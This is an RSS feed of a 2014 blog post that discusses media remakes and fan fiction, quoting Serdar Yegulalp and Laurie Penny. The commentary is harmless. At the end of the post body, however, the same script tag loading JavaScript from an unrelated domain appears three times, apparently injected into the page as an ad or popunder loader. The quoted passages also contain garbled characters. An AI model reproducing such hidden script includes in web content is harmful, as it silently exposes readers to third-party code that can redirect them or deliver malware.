<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; Sherlock</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/sherlock/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Remakes and Big Budget Fanfic</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/remakes-and-big-budget-fanfic/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/remakes-and-big-budget-fanfic/#comments</comments>
		<pubDate>Sun, 12 Jan 2014 21:01:00 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Science Fiction]]></category>
		<category><![CDATA[Dr Who]]></category>
		<category><![CDATA[Sherlock]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=9569</guid>
		<description><![CDATA[Contrasting thoughts on sequels, franchises and fan-fiction from Serdar Yegalulp and Laurie Penny <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/remakes-and-big-budget-fanfic/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a blog post entited <a href="http://www.genjipress.com/2014/01/james-bond-sherlock-holmes-hercule.html" target="_blank">Selling Last Year&#8217;s Model</a>, Serdar Yegulalp laments the way the mass media constantly recycles the same characters and franchises rather than take risks in creating something completely new.</p>
<blockquote><p>A big part of why we have a heap of broken images is because&#8217;ve managed to make it unsustainable to sell anything else but last year&#8217;s models. Curiosity has become an acquired taste, and an increasingly rarefied one. It&#8217;s easier to give people a variation on something they â€” and everyone else â€” already know, instead of trying to tickle their imaginations in a different way.</p></blockquote>
<p>It&#8217;s certainly down to the fact that the bean-counters call the shots in the big media companies, and they&#8217;re getting more and more risk-averse when it comes to big budgets. So the end result is that since nobody will be fired for greenlighting yet another pointless remake or sequel, that&#8217;s what we get.</p>
<p>But Laurie Penny, writing in The New Statesman <a href="http://www.newstatesman.com/culture/2014/01/sherlock-and-adventure-overzealous-fanbase" target="_blank">thinks the opposite.</a> In a lengthy article about the Dr Who and Sherlock, she argues that what we&#8217;re seeing is fanfic on a grand scale, and that taps into a very long-established tradition.</p>
<blockquote><p><span>Fan fiction is nothing new, and nor is the statement â€œfan fiction is nothing newâ€. Most discussions of the practice speak of <i>Star Trek</i> fanstories dating back to the sixties, and point to the influence of fan speculation on Joss Whedon when he was running <i>Buffy</i>. But actually, fan fiction is far older than that It wasnâ€™t until the Romantic period that originality was considered an essential skill for a storyteller to have. Before then, a truly great writer would be distinguished by his ability &#8211; and it usually was his ability &#8211; to provide a new reading of a classic tale or legend, to bring a familiar character or archetype viscerally to life.<br />
</span></p></blockquote>
<p>Fanfic gets a bad rep. We all remember the<a href="http://brunching.com/images/geekchart.pdf" target="_blank"> The Geek Hierarchy</a> with its &#8220;People who write erotic versions of Star Trek where all the characters are furries, like Kirk is an ocelot or something, and they put a furry version of themselves as the star of the story&#8221;. But Penny highlights the positive aspects.</p>
<blockquote><p>What is significant about fan fiction is that it often spins the kind of stories that showrunners wouldnâ€™t think to tell, because fanficcers often come from a different demographic. The discomfort seems to be not that the shows are being reinterpreted by fans, but that they are being reinterpreted by the wrong sorts of fans &#8211; women, people of colour, queer kids, horny teenagers, people who are not professional writers, people who actually care about continuity (sorry).</p></blockquote>
<p>Hands up who laughed at that last line&#8230;</p>
<p>And to finish, I can&#8217;t mention fanfic and canon without mentioning <a href="http://nielsenhayden.com/makinglight/archives/014838.html" target="_blank">this post on Making Light</a>. Remember where the word &#8220;Canon&#8221; comes from.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/remakes-and-big-budget-fanfic/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
